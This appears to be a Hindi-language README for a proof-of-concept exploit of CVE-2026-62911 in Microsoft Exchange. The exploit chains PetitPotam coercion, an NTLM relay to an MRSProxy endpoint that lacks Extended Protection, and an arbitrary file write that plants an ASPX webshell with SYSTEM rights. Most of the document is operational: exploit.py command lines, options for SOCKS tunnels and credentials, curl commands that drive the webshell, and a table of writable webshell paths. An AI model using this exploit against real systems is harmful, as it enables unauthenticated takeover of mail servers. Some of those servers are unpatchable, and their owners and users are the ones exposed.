
CVE-2026-62911 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: MRSProxy पर NTLM रिले के माध्यम से Microsoft Exchange पर प्री-ऑथ RCE, जो SYSTEM कमांड निष्पादन के लिए ASPX वेबशेल लिखता है।
Microsoft Exchange Server पर Pre-auth RCE। किसी क्रेडेंशियल की आवश्यकता नहीं।
Orange Tsai (DEVCORE) ने Pwn2Own Berlin 2026 में इसे 3-बग चेन के भाग के रूप में उपयोग किया। $200,000 का पुरस्कार, पूर्ण SYSTEM नियंत्रण।
Exchange दो पथों पर MailboxReplicationProxyService (MRSProxy) को उजागर करता है। उनमें से एक Extended Protection के बिना HTTP.sys पर स्थित है:
| Path | Hosted by | Extended Protection |
|---|
/EWS/MRSProxy.svc | IIS | हाँ। सुरक्षित। |
/Microsoft.Exchange.MailboxReplicationService.ProxyService | HTTP.sys | नहीं। रिले लक्ष्य। |
HTTP.sys एंडपॉइंट Negotiate auth स्वीकार करता है लेकिन channel bindings की कभी जाँच नहीं करता। आप इसमें एक machine account हैश रिले करते हैं, और Exchange आपको उस machine के रूप में मानता है। Machine accounts के पास डिफ़ॉल्ट रूप से ms-Exch-EPI-Token-Serialization होता है, इसलिए WCF सेवा पूर्ण पहुँच प्रदान करती है।
एक बार अंदर जाने पर, IMailbox_Config6() एक filePath पैरामीटर लेता है। PstDestinationMailbox.ConfigPst() जो भी पथ आप देते हैं, वही लिखता है। कोई extension जाँच नहीं होती। इसे IIS निर्देशिका पर इंगित करें, IMailbox_Connect() कॉल करें, और एक फ़ाइल डिस्क पर आ जाती है। उस फ़ाइल को ASPX webshell बनाएँ। हो गया।
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
| Product | Vulnerable below | Fixed | KB |
|---|---|---|---|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 अक्टूबर 2025 में end-of-life हो गया। अगस्त 2026 का फिक्स केवल Extended Security Updates (ESU) के माध्यम से उपलब्ध है। यदि संगठन ने ESU नहीं खरीदा है, तो कोई पैच नहीं है।
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
पाँच चरण:
EX02 पर MS-EFSR (EfsRpcOpenFileRaw) ट्रिगर करें। यह अपने machine account के साथ आपको वापस प्रमाणित करता है। PetitPotam बिना पैच वाले Exchange के विरुद्ध बिना प्रमाणीकरण के काम करता है।
आपका SMB listener EX02$ से NTLM negotiate पकड़ता है।
इसे HTTPS के माध्यम से EX01 के MRSProxy पर अग्रेषित करें। एंडपॉइंट EPA की जाँच नहीं करता, इसलिए रिले पूरा हो जाता है। Machine accounts के पास पहले से ही Exchange serialization अधिकार है, इसलिए प्राधिकरण पास हो जाता है।
WCF कॉल भेजें: IMailbox_Config6 को C:\inetpub\wwwroot\aspnet_client\shell.aspx जैसे पथ के साथ, फिर IMailbox_Connect। Exchange फ़ाइल लिखता है।
Webshell को हिट करें। आप SYSTEM हैं।
निर्भरताएँ स्थापित करें:
pip install impacket pysocks
जाँचें कि MRSProxy उजागर है या नहीं:
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
आप 401 प्रतिक्रिया में Negotiate के साथ Microsoft-HTTPAPI/2.0 देखना चाहते हैं। यह पुष्टि करता है कि HTTP.sys एंडपॉइंट चालू है और EPA अनुपस्थित है।
एक्सप्लॉइट चलाएँ:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
यदि PetitPotam को आपके लक्ष्य पर auth की आवश्यकता है:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
SOCKS टनल के माध्यम से:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
एक अलग लेखन स्थान चुनें:
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
सत्यापित करें कि शेल आ गया है:
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
इसका उपयोग करें:
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
| Disk path | URL | Why |
|---|---|---|
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx | /aspnet_client/system_web/shell.aspx | डिफ़ॉल्ट IIS क्लाइंट स्क्रिप्ट्स निर्देशिका। आमतौर पर लिखने योग्य, ASPX परोसता है। |
C:\inetpub\wwwroot\aspnet_client\shell.aspx | /aspnet_client/shell.aspx | वही, छोटा। |
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx | /owa/auth/shell.aspx | OWA auth फ़ोल्डर। |
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx | /ecp/auth/shell.aspx | ECP auth फ़ोल्डर। |
केवल अधिकृत परीक्षण के लिए। किसी भी चीज़ के विरुद्ध इसे चलाने से पहले लिखित अनुमति लें।